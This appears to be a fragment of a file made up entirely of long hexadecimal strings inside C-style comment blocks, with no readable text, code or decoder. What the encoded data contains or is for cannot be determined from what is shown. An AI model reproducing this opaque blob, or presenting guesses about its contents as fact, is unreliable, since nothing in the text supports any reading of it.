6a68980af315f99751a28d620161b25515c58b353fdca77e2b0a3703575ba76ef72f415f85c602b9a7cde98e87e2ae4ef302397668cd91ce98d3f3017ee8f43e44003ad9fc1715cf19a6406f0e5943f9ce71e5df2335e37c78eb2b362bd59c224002dde6d6de547f8dd9b85ab042ac709c93c752e5b4b042d2290fca865bce763b81ec4f1cf0bcabddd37841f2d0e9549a82bbe2d2bd39a75ba3042a336186bb3e13ebc70864208faae177cea64f8a8e91a13fadb4d6101dd3f731a14da89a48850e6d61e185af3ab390cda55939233d2fa0d87ffd7ec2202b8335b75eb3e14eb4e4ad6b5fcd66a3f07a4e19d7dd9564291c5d94ee74c6c737a990dca5da6dfe65a846095c22072f8f61a7c9998ebe8cb4534935987838f9f593df7920f80c60fe04173f96dad4f8996506d0b7f2d00481206155c9c7925c23045577813c220e0e1afa5b3b8a5b87b19fe1123ccbeba3fa55871205fdddef0321b7e44f85f91403b2285f2fd78bbc24e5c8aa02ccbccb0419f3fc3a04b4560bab4d6cfdde3fefc4218a7b3bfcb07a53a91bcd1c7eb3fae7d1b3c924dde004bdaf419b052708ab206128118f421c895222b4056a505277efab666bdbf2117c9f997ced412b8c8d4c3defe79d9db05674c012cc523820498a61551a5c743bb1552f4736eae21b1dbdfbad194fff6819778c0577978db0071702504e53b2fa7a9e201c636db194285b49b616197a1353c552698fe4f04b466367301b7474d841763d03d2bbd12c2207ffcf0edda91de87f85fe8713f7543125afb473c51380280adb7e8346391cbd68fde55d668fea592b9a5cb0b6f0b0aa779520605412b019aeddb85da65497a0f9d4430261dedadb8fd14c907f65da75494523f4462fed17eb8372038d9fe984ffe51e888db3149c1d747fe7cbbf1bd94084345d094c98a82de2fb873915e457cbd5db75a4886f6282ab0b3f6232873959b027b183a58e2957125a52228b2d9a9b424d4f87d0657865df4f895305b6791631e816ddebfd7400625c164c5fb7462a30c035f1778e01e146fa5859a16aec1b40693b90768399beb3bbc306d6c2f1520862d38b87df7d6ea12257ab4585c100a782b202e2f5d7e53f66ef4a61e890d21f91222ccd4475f3857f9e9c8be4952f0900cf34f191db2ee3fe1ad792aeb7b54fcd6088e4ec55d2d95d1099d5b4d1e6da849c01cf5af77769142c1c058e541d680c23d57beead3e79dc377c06c663e913da9b0e440539121917ad00733a988fb532a7277b8e3911d3e3f5ac4ff6719bceea0027af27bc94124135952ad9d7f486687b070d149e47387854e4f271e361465e1d5c7fdb5ec61ecfcfd8ec8b83b6337af69263ab180b3d70c3be39e6ca4a7bff268e4d1470adb762f00e82fee968c39f17187428b9b800d3fb38a6f33c904f869286b2411a5cc8a361c2f57f018f7bfe1d624426fdd2113cd2aa9b127b8755dada4c51d5cb688a9d3f7f2278acf1fa1e63a02ed65e328f865d6bae7c43015ab6696446661d5d383e7cd1385ace24dcbf1734227b901555e5f31ab3db77b688187a30482aa997e3426f8ab2acffb94fcd05c78d663204d70406536c5e5ded4705bdec7d9dd307377f37c7264d07aea9f94cce72b7a80c6a0d103f0140773405f78e7b8fe4fca6f28d1476d2f806cdfcc8fbc7d76ad58245b89570cf1083f1c8e5243da5e2f2c668bccb4de64cf08e87ca8c7d9cf55f9880f6af2fdabb00eb56fd823d70c3710275fd9bbf28e66cd50a6f52d174469b22f51b579b19005dc540bd9194167471ac28e4799f6a46b6a44d562da88e1a2c143ad26dcbcac0f9d7bf29ceb92feb7c254ab9c5bfb683f36bc5e387a46db4da63dd62beaeb533e497569909af4c34be45f2f71048464f8ac9860c14d25a8703471a75501a92795fbeb537b038d5800393b263623361fb86960b1f719476b2f989970a0d740c8124f275e9365b1dcce479763c72d0250615136a9ed82976dd5031925ac143c2e02e352df2fc93bad7e1e5eca4479d9017966898290a6b928807c439f3ebc138c2fd4d516a63221f6761fb3df35a8dbf2c0e7711fb4962f5a8f51ebefa9cdffc0aff6d6dde85716bf818c70e03f6a50b6ad24a8aae75feab024fb3d8575ad6c35a9ea252434b7cd1d6e1cb7eb7b436320a8e8af8979b202e37e47dcc03ee869e088f1fa63436de431d88207f9b478d1c5a3f37670fc14edd946c0e5e31344eaff432ce038d4f26bb6d8*/
/*a7e03fad1f20fdd4e95517031249a9ac17a62875b5e5dfdaa73bd4c33f50e71f348a8bc9ba964a995d8d3c448ac4eb8b4cf5e1eae977ab926e7f2a2a28c6936ed8d4f2076be8513783fd476adfc0a29ce7d7d8e3b2f1183ffcdd7af726660932f2424d455955b3f8526e8a49a4eae3af2a6491b6c75e628786910af4f46a0d8f43bcd3c801781990ca9fcfa478525a0f6eb70eb4b7e80cd39a3cfffb2d60d94b5ca1078e210ee0ac59d7d66bc37a7fa2baab034eab257643343b4cdf625fe7ba600f159733831439f480a5f076d3c5f531f80b1f63dc3a098acd9bcba5880f70bf6b0d9f41bad64f182424fbbeeb32ac6e857b9d91f47c3874ace8bbb5da67cd63365128f812bca582c1fd25184a9ea18223fc790b75742638428b35e85888f3ae1b9cd400c11e8307d4039a76ea81166dd794f889234a0591f28871909fd34064eb70cba89955a15001c83ba0514d8ddcb39e1d4756334ff5dee2cf85b89971744f87b21f881b8f08289e00a1743758808a695033c6c298b12b5f8336bfdcd9a6f70cf85804f91270ed2ee87bad4dd70852d605d19fe8e9f2d9aa74da597b9abb9cbdce71fee68f78c77e3b7343ca078fb8dacb93d5062358f1a7ba77883f8337d69a10e625c1bc7c617cc8e3b12641b82c46df2075f2b882207bd9217f185ef7f1335ae43243c15dce4064666abd1296b4914b91fd077adee690e6791f1cd1da4e7cca997815dd3888d879f078afa003ad9db7d7ed1309e941444b47d4b7af45bc04655c4ed1c33840733ba0efd299ae293a78170337f1e7a9d72b4c3bcc55f5d9963ffd3c29d3ae4544d35a91005a42334fb3ed680da0c6153b607911c25bbfd47e0740842bf9bdf6a195f7aff1a7f89d4b5a7174df7034cd7236340dd7d6a1bda0f2d43bdbb6180ff7f34cf230ef8c64ed7ea314e30c58efcf24bfd1c5ed2eb256218925b6d0109a836c7e8f7372d07b614073c8a40db48156a88707006d5eeae624419a281c47bad8b64cfdab93258ba8c4b801fd84fcf1fa151ed52a0fd1723f35ae3749f8a605867576bf88b246d6b54e88a93710a445c2a0eb84234f916faab694a126c6828bc5e09e3ebdecd8f21da9c1ff11cf067038dd54ede503296f10d7454404ad954aac082ae02e4307ae8e0c5d923f43e92a39179ca6530b3593bf8c592f5478e8c7579ab990c2818596c2f2c2105471e2e44eb4a26ccc2701a0d2bb43e54e68162b2f5ed0873e71aed8e9c256274ce2d2d7d04889b5c81591283e6f0ecdd386873e355e92f3f9eff1dac2d8965538912f2c9dfdc46c22baea72721cc50a135a0158b83e6024a02c1859d993907f0e95dd0a6278a46a74c7cdb24c8d4178670cc87d4ed2f0844b32f6a698c4382cd43666e83c3b5ae58be6dc99670bd76617fa409c5bc41eaf01dd439da7329042bc000369697e5797a0c3ac0cb67ddd2c8dee8c9c24b0592caf7b3ea586c2aec6a7cbfa0fba22c389d1889b06cde730fe6fbbe8a2a6ec0b9eb368e6a224c5fa3cfc7dbf786d74f4fd6b0693bb2f733b6e4055c9ccb92209c5a8c850dd9b0dda84482dad97ed31d339c137650b5dbedfbd4ac7c3679d09d20a8776852547fe1724ba5324adcb95909d010b5f190cbf67fd1b92f91797af12d0704bc3c719236cbb6b34cc8a95f9e04321a34362f58a6d814fdf1fef559ebbf6b27511e14b6216df87cd1b9178369c1ce590fd2060f5bc7fa899cb02a73a951f2a62e9a0edc4ad0f35e5c3b3e8803a0932f32e00b60157b61fdd5e8b7092a45fa98944677f167ea963b0ddb7a891736fe9e408c3ea1b6ccfdb0514f3597bdd18faa8337c14e769830ed45970ac98532636fce691855999ad3cffc658b770479ac8d4e17bd8614504d52e425e70eb0544aad66ff8a8d3d988ca8a5a6e3c03e4a2fe52f24297d95be3c73d55072a3c4d2df237b6a40e021542218bcc973f0129659aa52f1011b5f2550b1c18f42b59138933d6c05f50a23ae85bb9bb8d5943f1bc241176dddc3406f9848e70801773e9428e7859406a5ebc636378aa0876eb699a05ab322c89a1334d5c9041a3ae26f82865445896428d1e58e518eaf127d6acae8f7a6949cbc0e20452ee59e1fb5f352062cee337f99c1a99c5be703785256a33c7f65efab1ddc07c298d6b9d2c152239869e6da4d6c816c7f5ee3ea710808df4cacbf15d62cf3e22ca81d3c412ede06997229d6130aff7e9f442fc8c58b1a865df3c2d1f3349f0e9a03fb494921ebc200b2970891c172b87174d7f7ae7fe1204ac72e54a3c9a1da45995350062bf6515ee98ae28d142e28c37e44258fb996b0913a83666a561ef729f7a2b051e730905dfe049642e7faa06a5ec787f1c1995222f8e0066d850734ba862c3c08812c56746dfc63c3eba270581644dfb6eb85469d090bf27990b5b7527c6466a25de2dc52acefe864bb2d12cca7bfeac83f21250b23b0a510bfbdd77e0cb40ac1b5890beb957a5d8c1e0fd980442a5e2a67166eced47a4051f93ee17ac493f9f66a8691b74c264b79c5caa27a6319f2816094ff4badba382fa37e173de1225834757e690fb3a761f713b93a53b276949ddcb000f8d0c7ff516b8aef1941ec5e69c8f2aeb8152b5b01c63903092db1cf30f048a5ba36ec6a5e3379d8048e8083d58d06624e9d0c72770b98374487543080e6e5536d9ae60b5b780f61becc1c5d80c018b0169c1d9e28e0d8627b98537a526126b8fd491be8ce07040d22083574879122cfc70725c74dd2a617551d0ff5cc4eb466380e386da340fd42237df0931e993c656596ac2411f84e5799ab0c1e6f28db94f0360*/
/*c2c59d0b70f741f8c5601171d9afdd6040a09c2c5f51cd9e2fd008c98d6ad6e42cde0bf823af84acbfde56890b57ca90f725c269d56f099b526a75e37f618a967a0bb3ef5baa9db0e4fe52f24268e9daafeacca880611df1b38b876fcc1d0635e1942a8d274a7be5b5e0b257ae738988661760cf7cc4c3def22a6b938e793685d960892ef30489acc68b1fc69b7cbc1e198ce5900b3c9a4cdabb19a8cf54a27527839018888e9cb1c7684cf35708da82f0e010f5716b1ef45c6d18da23aa55166630ff33c238fecdf21e00441638c9c35640e995b0c3ff35cf347c83de12b2a7076471056426a58625f93de5c6c8665b8c3fcbc7a124a61e177f773af62bbf26c7faae921b0f3994678bd1eb6240a630c03824044a11ca46f3be82f073e9b8843d0e96b69359f755f335f445f8ef82fd6fdb8ded62223599d6f32773616dde6e54969967f999b1c0ad0491f74c2cd2e3bdd119eccaff8a1169aa20f068565c02fa3fa48b1a61ccf05be4dc5bd35a65dc90fab15dc382dae15b21e3f7726ad75a91c038183f434635868dd028fcad8e5c18638ef63328c058beacd2305202f3f1ca701c6952636121e580f3250c71967f72c12929668c77d1477446d95ddf0da4277ce701bd2fd746b3808cd900fabeef4ff286bb3c254c0e8c01241c9aaadaca63b68f53aaba62a51b6771bc696b34105131d8cd0a01bdfbe13c9834b37d09c7367e71adc9cbad5cfc49d6d193e32cf5b24c1042d05816fc3a1230b80eb4f7b08892e655cc14d53eb6509c3fb0f8a7a4e422340afe9ae24b89b70f6b5c82462578d79867f0f9233a2b2b44659666d98702c1a45d7d48edaa25ea2b7c58f0a81aca3bc6f2fa5e5fcc8092dea85ed14032c02b334cf636ffb831eb77e925898af389b45bcd36fddb3b9db4aed737286ec3fba0af4bfe2ce113918c33b304ad1e50c05af48357cc109df244bbe2eaa6933ebf13a9f43faaba74136763b2dd95ca73fdd2632f186855da11caa745a1ae75b00f0c20c870adda13d5c177805f2037981266935ccc9cc78aefd9aa11f64b98f6366b156afca2ede8a979fdf3052dde6b38c6bb6a8a388d4b5f094ce503bc0a3d6e539eaf077b26e4f775799dac25c8ffae5288980bea8f0b7489054ee3c9413f8d5a2893606838445fd1770c1422fab31f23fb28a6ce539f3a638ffa9aef0599c87a4d4a0f7b9433d4e7de3844aa74b0d355a771b61f371f86d780a0e3cee10f469f90f2d8ae212dde2113f75cfb04f554368580afe084c36e7a4a88b02a0c991faa9bbae59b5ab038a052e5d7a9444f1650b55e246674a9e24b619a47494c624065b4190e51690fd97503043f0ec8a978af7ebc7a2d73bef96070d38556581890dccb25e149a627cb58d914feec6994a61291686574c096a5a452a97e584851f229f1e5cea4010f855f47b82788c40a44a93a95eda4973fb7a62f6de122e18ef919f29a8e07eb9325f2b0eca8400450d2507873f963964b1f0b5c2a0f1d8cd5704a967259eb41d1749c7984cda4d752a431272b21bc01c099e3fa35eb1f544ed8fe02575513a619884774f7a0368aa407fb857b88874a3d1f7c4258ea1707b8eed44d64ae523ca9b339eeb32e3e76a68e470caa8e3ae65bca40a95e26a5414c3848fc6a6cf9e7237fd3b138307c8adbe7f417e83f2c461bfc78bf5149142043d00a1afc52558fc5885b1427e21b2d656406900cc38a035f93a617c5e57efab71c81cd2c8571b982f9bf85a060418714d2c884aa56255bc50757443f7820d03b5f036c2cac4a838b64350256bb0953ab0e0967f408ffe8b63a2cae3314c31e7cc521f75ebe522c86f1dcd4325fc69c31ee5c46484c8e450d28880c47af7b0a710dc710de714263b1ab361fa52ad2da4b967c28223857f6a7c07c10a86aac89fdd1448b14774976a6e3c9436aabb72825e23a39b69e3982e24e2aee5be00eec99e50af7b656820c914ddfbddf17b6ca9984557f09eadc14a3e4e30cae33882709c14bedd734cb126cc42b726b4347423a791ce361c3e2c7df880da68d5b3b2d0b77c15b42d385b831a9eca870484d76bda74262393eda973720266aef1cf50ac00feb806216ca9e207ade1a701e9d8d9abbce2ad79e70a1782789238e8c9099d4f3638013740b206ed2acc08df4b5cea49a6b5967be2760b4bf548027fb0ab49bd04d6eaa238545bc29b4a282acbe03e844358b74aa3a2c3855bb69de483708fcfb0323130208af4ee6bec043adfab6bb09377c0c1d6be7b3cb9f03a6562a1a836baba8e831f155632050a17e246006e78bed7e06e1adc0af106bb9dbd99695d2e7d0577b8ff45c62d328e25eb5f80b99e39a4efa2e5dadab5410470aa312435e44ee23aef90e83e172bdf99f2a306c4b29954297bf6ce0abdd3ae98c1d6f12cdd0dcdec6570ac8ff0f9d5cc568ba3eee3611dfeeee85c65871fd4c6fd4a513ebca9c9b05df1a3825a9a6473004eb25a0e980c56230795208c86a63ab337a5d85a0c9934f7d393260aa816547ec9c6dc05b8f4a3f0db9ccbe36aee79f6cfeba57bace25d1d5daba532238a04bc3e50f79cb52f13cb14bfe3becd23f54b211b767aad0cd8e94110928b6eb3ef1c9cc49aae5f3af5a58f8747c1d5d4775dbc0e184f9390b0b8b3f3ffe119028730539f19cb6f8809f850a4321250b6bc116f4cf1845258fa200d121314e18b3b4905a8cf1c810722bdee87908cadc8c6050af2bfd1b427dd2b59eeb14fcde97b40eae13b4e185848b85529d432735774bf3712a2716f6b5e03838247990631a3cb942710f190edd79e09b608b48936dd11dbc1a1e*/
/*900316c59f079a4ece8c313614ff9c048ad214bfe3b1eec551d4384a97b0fff3023598a8a17425ef3f838fea1470d7c66e223712d3bdb1e9a95d6b2a0a2b5a3c5067502d500cb59cc8ce1daa0dbcd1b69afc10ea819f5c7867648e51c4faa931e393e7bb2589f365e7edff4a07d244405463b7c0335c0e9740d5e4ee15157a593d6dd25cd29298712a241ab212bbf9928fe318ee7c6c5a871aa43a41a30e6f452334d93d82eb8aa4b6d586d004786436c511875c5f6ddf93550a923e238acc67eee8fc151d838a380b003799c921375497c32bca6bff5b20aaadd6dde42cc3ac4dea4296293212c1cbf2b4eceb4396b0c38c9cceb0b0335e85322b87bce8edd65a7e07170300cb11ec5e90cb5555a7a63313ecf3aaeeffee0163d5fb848d16b273dfda106815f255897de6cb504568538601e13d243f3634c63dfb89a4fe2e9eebd818aaebade029e32c02efa146f7c3b0c7cfa1848b8186e53c06f408f979aa9799063ed1136dbf6ff5ac5622d987da42e37844b6e0ecef44e31f65ba22a614996ddd7082bf3e3e167389f558b3327be910fca106f5fbf63e9ccf0e346418e42315ae8e4fbbc7ae636c0bf5f732703f5248066f7d65b806a7a21fccc4d302f62b8105b1944f125a2660574658cb1fbd9df2675334836d13974c2ba3ac7e0fe324d038381a53eca536744b6e0ff42f87330794023071a98ccb05051846c921db2121e19e23dcd5d0a63b3d7b161e0a2ab7ef91991d37b07f96478e586db1c2b5bd38bc85e4f2fd55bd6474196984807d9233af11834f0d1453d43a3d53c91c4d413fd50e45633791210755c5a598bc8b52d2b535c593e9bd8ea54002df895359de1385e15e2754aad68bc0eec455e1599053ce5f6bd8c8e16de57df2e4afa68c0a5cf7acbd4151e8701d66d5312039455fb877eec7d6e2f40517acbf03e2e9953fc98cc64d0363eb11d6511ac09c3ce675ce903934ee44030076e498964715139057d4e0208a98a9aeb7904e0e1e32dd58e68b2c0a17367a9a053ab89b06fc4f38dbbabf8e277e4aee9a072b2871043f7d7491d470f4af9ba67c0f1d5306aacbf3122726c68389ddc25a55033e7fb61b59d19064c874827b4ba12924cb3bca48c8193e9fb47b98238172c9fef0236b678a339f8cad0d2b0d6040fb76c29262070e34f6bcada2b194354953a33734ae0b578174d27c51a998c96c0d8ceb5ae7cc14736e887d94eb98533658a2dcdd91822ddc6c4cd235f330db11b882fab896021f87d2bfe736130b7f5e2f04756f7d038ee32c66b845caf8788c563d9edd54198ed0cf95e1acf72368f26ab4913338b2803530e5c53b843e1abd264e94a7558931723d8046355705538a0a1b6dfeeb22c28bb691e53e45555d15e13b9f271f07f8b6cee6e381bde501d7be02af100e3be252cb99dc40cd5c52a13a0869d9ccd3756b5e8e637b47a1c2a2c832bb45a3f1553f9efd495a013b36b88531ff870579c0170f221d3e2c001fd653d819e543647b2f6e0322c538b544d2d5aecfd55a42bf417d42b1bb9dedf11f0d43993df7988f406337605bd6637a6c6d7472bb468c9146d679a09a7bb42aedfb2b2584ceb2922c8ce5ea8f8f1e19b72feb9b565375bd6639060384dd3d824bf2fb840ea6f2ce8b8f4f48b7c6dd93ffa6e5cd9a71a9ff509fd5025021f5200ed72ad0c2f51aabf3f8adfeb50573dec37a0ed5e561b4ba3731f21b9de8a132b78bacecf977d235be301f9c040b0913c739d2bcbf1c784fb1586cc3ac9cf5abfdf97741f812843d6c678b13b35fd6137673e5dbc4b7b83b01a4d368ebf9abf015b60ecf3b41e78613c093f864e3beafaa17ab976c8bea267149851f0aa2115cb6a5b643d6c71af3051e86e79e94afd472087254ad35521ceab951b0503180ff2107b5042b5121b904445bc063a97c6eef0df9eb760b760f67d8fd675eeb0b78e5c41c02852af2ee31a992a32ccbc6557d949955bfce32462ff04cf53089d30d54bc8c341d24d0c07c88470a57e7da80b7075262abd64a26a05d5a7c5a75ac26909c113a3b2ffa3a2e9391eb57f91bc02a0fbdd4867812365b29e028e52d7576d392c092a2f4842061ae1b24aed2aed035a2c4c0513dd23d37fb0bcb4d755e1a97a23fd8702c003a0dd88e5cd50c9e82ec37c043560dcdc57424fe7c1cec764eb43fb0ab3c1ae41a21510abffaeb9e01f2536773b3342d42ad3b352048f12559710e9a09da4c9013240289f49f90436093846f84046617fe363701a8942a5979d32bca141a2e14e6bdf3283c467ee148585af7128b1ea80323d79f5d37e9be57529d91d19af18ae6b09333c985da2d84435522ce3cc6c138554a69048d24ac53d54aecb9c6619905efa1aafbb77568aa014a1ea2a9639afebffc70df0b4d6a5fe97b6a8f8d6bed0028c8298a4016a47127906ee35ed34ef67d8178b6a7e44bc2fda4b8ced20cedcc21fa5f1248fa13d9c64959c6fac5060212ddb77dd747ae274e4388f998060cdc081787f9e254bd2b4c563f4b8c7484e315afbcf8865055b213570c5fdadb2edfc281aed8f4fe157ea74159a7e95386705c4f6b18d70297433e06f96e86a0212445a50074a75fc16dca3b3d848c1241d434c3133e823d6c97676c7b516ad2aad018e1f40bbc54356312b7104f2a901871bfa805fed9baa320e1f4598920aaa3c271b114d9af7975826251e5ad3a432701e42ab5b88cc2c8ce185f6f90ae23103a8b188aee7fdf354d47d98bfa4100d0cb619e46aff26511db99a1fa3960abaa9badd6da05e484917e8e5f52fdf67afae37036eead9471a7397cd73057750b88*/
/*9a85c07c24777b6d5eff64bd6598d6bf3d169f96d5eb4c62a34670666ab184c09c54418a0e4a095f19a31f9fe6cf669ed71aef0db7d9180429d0f61f2d25fe0c5478dbbf240033f9589137a8aa61a2c8c786bb09c99688db6fa76363f0d262d88ed9f34a6e571fad56d81cddeec3ec9002c17ff84818e00f5e7bd2dab20114b321c2165cc3bff484bef2249a20fb0853d15d57548417e3598eb7ec5a7c10f92028e3795472684eb66319d02bd9f0359e28190d72abf251f00474a887902f2d0cf494563caed2c6bb59277a6811d63d20db8fc0eafe591f4bb8c16ff2baeaec695b564df153c991173534df061107f437ce49d8eb8f501d9f54a99b7270fd0d97245467237fcf75951648c82734ddba3930b83f687697377c3710dd6107eb92fa3b563f52fb30ce439260b8a2a72ff9add5172d61a63f2cef5b68f4ad83ba27bc407d958ea10248d3d6411449ba7e25da56b7b0b76850b15cbd4dd0d5644745d7e6b70932f5d2ed01f6dc602263f9ad4f7f713a52e30218368300de91d95d2c3315f6f5d99e7c4f152d57a7932f2198aec9177b7416533e9f123e4e8b35f673da1f23891d70bab11c9cb6f637e6aa3f172a0bc96aa17d71cce6047ef4a0725a5d56f197b2a15ec259d8f7ed81ec327ededbe29bacaf404d232c02608161a633ce7bbde537253ae7b0955168a1c586ee46792064d2348a2a8f2b08275a23492b859434556a20272b64ade6b068b270e310887b07b81638ca215696b6c466a52d65788a16f3d4309926ec9496a8ebe75cf3485a81fc84355b33dd5b06b77ed1692187f4bcfddf67bf0e78ae3874237b8906d204b6a068b5320916f9e7d11dc1a0920ab9b562343b778f3ba2a5eb5e5ab5dea5dd893781d836c4b3ae3dd7d805e60fccdf745604d74ebf16c14ede304ff214c39169146d6b1b63a29bc9aae0a521f53d62d8bf45ff580a854fe13f2e9e14f27bd900397b5de485a2ddaf4916c3aedc708a99602bd63aa149e9f3ac1738de0cdaa06037bdd8be0a8dc9a083f895900fc84e8856dfcf7c8c03a3a65cc864d23bbddf56641ce9651c53017375ae60a270d5575d90bd6578c5ed04760c2b78a4418198deefcd09668f92fe3affd0ff5e08788bb6d9cceb84771736ad21d15a7d84cec82a33a224efaa095362aaec32cebc516da29b50760c8169278c092b103dc5f18c81d5d9464b029f87cc8a98d05169f9f141fbf5cfde596b0e3bf9c1d33e665d9f4db73f0e6cc9e0d2b9a1cb25f9d20ab765d707f309de1bd2e7a99d55c8ee79b558d5971768630c80b5202e804d1178506dce8604314e91e2a55345aa6593d907473ff0851a927c9aba87b0625d7bd08e488140555c8601b26f88f6ab303b9e832467320d9a4a96d5d72c58beb7d7f2149bfad627408c022f93b240b83e511f08417bc0367df80d145766fec590e9cb917f4f383028a9fa36575f5c24608a0c672d06ea9e5bc675b8c103a0ea3c706464ba4909b4e29b9272768910e42da49a5c039533b618279469e0c647b3770df3a156a8c0135a79cb3494df3a3a5bb040edf8da47f35286ce9fa72af88f084bfdf1c2d142d0bd409bace08ae92d3f29c2e43d220d5c227283dddadbbef6ac689e3f5ece2d6a96be848588c78180ec6c18162fe92dd4535278aa042b1364eb0bdbabc39a3c952b58b5a3f615d55adfc0f5db7465ed8b87db39c7ebd2ddddb56ee497e79a8da9024a531857fb11801c5a95105ced7b7a73aa7edc8a9c501a476d31b7b2b604bdb623477721c595536cde3dcb345f5625bae7368e616f1cce067d21cf904638d0953587c31b8f6e62bf725d58f0501ba4052bb02bb6a54ee755577c6c5798baf8648bd470827ec9bb3d98de02748339b5cb9411bd96944b1fa57da8cc94978e5de3160c82de4823dc0f9ede1a450c003cc40a4333183d22b01a9db1c2668a18ef651d47d36206258698897d752dd91cbabc089430cc799ddf3b25d9d65895d8a545991d9499fc8843f4a7b9af72f19298258f79cddcc3b951c13d505ac7ea4cb95d9685fa0e3a5161b9c8330428fcf9ea0548203e83d4f649c820651740c45bd5b1f7427a5172c2288aefd0aa0089168899237a4a6a002d3df5c086a2b08fb35be6648975539f56490fe757d113afb3269d069ba411d4cc1a09cb744847e98bb9681c339564d7a3e80cdd47a62249e2ee93bbf1894689ad68dd827f7a03d118f4547454bf608e92306d18b06ab18e5f25e06ba6c00576d84ee7707efe0fb3e1256af6664fb5f36449bd657b01a8092e202c3ff3527ef9e6d3b813b301207a42d8009fc757c9c06384e09b2ea19835304ffa44021b9ea75532aadb0f1e2fdc5d15872a443bf220bacfa4ee410ea8df067d2bec311b38852b081dfc45a13a0ddf321c9e4f353e51dc9a88f55b65b47e397f3e42f9828e81ded193cd78dbff7a29b80016a7c31c6e1afd76208774e194b26714c8fedc638af17b0ef427ae048c730dd8f996158483fa3efcf0ac8693e09f30533aabeddecedce142f5797b1fc40408826c76e236d1c86c2c1acadbb48c45decf356a98a105f3907a5f8542018c3dc142234bd6228c7ae3f9c75201c6b959c80a2aad0f5a3fc452770bb35c8e5ccebefc6b11808df270d26ad7d8a99051d93216a8a5c330405c19e09d517df68086173587a32288acadfcbb780e187daea3d52a980c90ccfecd19c9a6aa851964bec869adcd17dfd26ab71d7a24e5380a844fb10c340a5cf94800d6540524f632b9f8ed53149c553a1795950d34e02a7172670bf02e897cdadb64e872919b0d7c16572c3c748b318b247da65b*/
/*8feaaff93694207a30d6512a3f723fe6b945e09205cb10c56e5e22398a5b8423eba104295c124c97cb8dad9c0c1f1c700d9740acaf2bb43f36caf608115aa415da3519d1ef616428b9e372e328e60fc7efeeaa14304526517bab5762c6c454382bc37c2c456dbf87bc733809cc9263e0007de8fb20b43dc3b8bfecef9ba91e7e0865898f167ad053d1fb4326c50a6d80caffeefd16fef856e0c3c6d71d7b4e00f4ad02632fe993b9c96598f6f923f8b3b5093ca6d591871c012c0c9c0f67669e564b5694775a346aa4426c6e8c42b5fe0cde4fe354e2c70ffeb3b083cd713fd76d83c8d8d9f6fc0fb84aa2d45b3b29f09e7cf2329771c9f1d23d6d5b9565decbe2556383805c79025784b68eca1a490a73e7786059b6b065bf0097e03c5950433190191b5f0476323569a9fe10d08f688a13bb0f948c9a55d821e8a644ba95e6733758416b9964e4d24b2d923c3a59a4a7ab787e1d9ddfb786c6f352dbe8be07cf545425dc40340ba17cbff2559ed9bbc084eca80901f40cc25b9a5833fb718370884c4afa9eeba79d2ebf26523c87fde4d5055f0650cd7c2bf0c6fcf4d53edd82e1f3315d3a5022f99b7ab9360ce3958a4b16a55ba1550aaff63244d5e828ee98d1442bbec404c1ad6503bcd9a5ca08884b59bf389b4e88165999c857b440f6ab89ff10a9466de563da149241a0a6859e918d284838db4ac8b2fa0827e341b878a1bb3525ea50ac2600f1710cb9a02e872603b261a5d23fd2c5f7ebf9d280a79978d13b9bc309c3ff1ef2f4799ff44088345284225b1257f919c7ed807635b64dce79e80f17e8123ca7f955fa6ef6307615c5989382e031204a2618076c7d3e9ea279b64b3127fea9e6ef23939991ae620af7ab8d8af8665f8c4a85a0d207cbc6cdcffafaee903dba1c97a9d7e9b5ef71aa0cedc7107cfa81ce05b643c9bb78c6d55a422dd82e0393b2d860eb1c6e89136717e48042dd715387636476f3a67a898197eabc36a9408d654f6d76044f2d6058886e2c6edd5759c1bbe043249d67c00f2e24eb553e4828d1d849a0b92fbbb17cdfbb3b11a5b2e877b9e5d455bff0fd8be538164f5398a3538b5ed05fc4adee3a770df9c46b1ff6513da8b5113dd993c92fd9a86a09b9702be0260cb1d8adfff5cecba4e5f6f5ee828939873e510ee5620e0e0241c55520da9b239df02172d051fb66fa937c71495a1d5f6d314433400fb473add7a46ad1e2c97b9e4f8c8c42a759bfbf53facfb9051e4a9e8a19e44831b2b8bc9d757bf90651bd289d1b6d6727a3f54b54c728f97c8e3691a37418031d4801d94b1d96dc7dee2198a34c17ee85016322c99a898de9ba2572ba4d012798ffed9e12ac170d3c13f6a647e8e195766982d9b4776f5a280c9cf2bcc50ce6ef60be91dd020e80d7e995ead5e157f068475939d4a4bd95df81e0ba343948e351b717d26d2114f8692c8476ba78b3b22a1950ece020b845a981655b6de8248d89849589459360aed39270517dd1d8049a166b4216394bc0b52abc4ccc489360e9e93f450b17273462390cefda90146108ae405b4c644cb279d1ebf448be323f802ae95090b3d2660d837ebe6b0b8a1ddf2976b2f4358d595402c76addb8449e516dffd59534011c2bbc4855159dc2947ccd0e64791aa735d267c180b52d7599039e024b617544e65413125ce708784ef80cedc4c25a85e0cdb3179eb3a7ac6dfc0893303be0350adaf08d90e242510c88490577212e7e787a1517faf35ee58d2246542a9e4ea6aa3d4e3eefa4f8cdb1f34a91ae9700a1f302b2e83f8076d5b3220748f19b98970519ed719c122ff2c6d56ec5b1ad3a789de834f71b409fce502f1a5931d8a3665011069d82a45addcec22b45b81fdb4711503f0f96979a222acb5c70998fecd57f8e0d0e4f92f99cb712cb17db0c2563762321f29ffb94f43d2510a735e7b284454eed2461c9b3d7798ed2b4188875bc452ed97ed98b4f42a98d4e2ee4cc3178904069a9d66368fbe3611fe3a271b4cb3c663e969b34c26a791eb7d76f572512214dfe7418b0243c8cc3489045ca3bf080cb346defacf9b825e7e5aeb12c70858bad648a431e34100b95199f98f0a4463b2d1e1f2bf06d2d19e17330216d1853d240bd5665bd20308a9885b2b63706aa0cbad25f6ec1fd9f17154241cf1255f8a90b3a2485ce5ae30ddcafcb676b5619bb51d3836972045735f2a66636be6754c754be0b0c4a2cfe1d7f26f7a597bacf6469f3b3e359275d32ca68d9a462bc3e6c5b08d2e5a14bc48a998909da44f322b7d5145b6f3f5e5123d6e301b0876c1db65ecf5d1f730cc4c2b19fb60909999c0381e8dd730fad176103657b297913f9b247a1be82d5c2ddf917fed1b9c7c02bfda524c5653ee92d60b76bb5ecb9738fffd5e99578262f3ccb39f84c6ed34a0f785d3ec171be6affe60f77836349651621d5d13155add9dfa53c4001f03f83a82ddbd44f0761055d4c6bc5ffaa6d9c91eaa3b2703ba1470d2182117db7674c9ca5aabead7f4de1e9f60ed9f7935a15ef5ea3e088e8bbe28174835e5b8a9855687eb64f04530b0087d0a776aa93711fc08db1ad860534a8bb1af5a20e5530781cbec10ed4edbc522d7678ccd9e1f77083dffd076015a2aeb028ff039894bbf474c07a2abd7128a54fb21df3e34939ed7d7556a6cfa2dd549935fd1aeb1bcfd886a11d40bedc5d5b56ce0493995d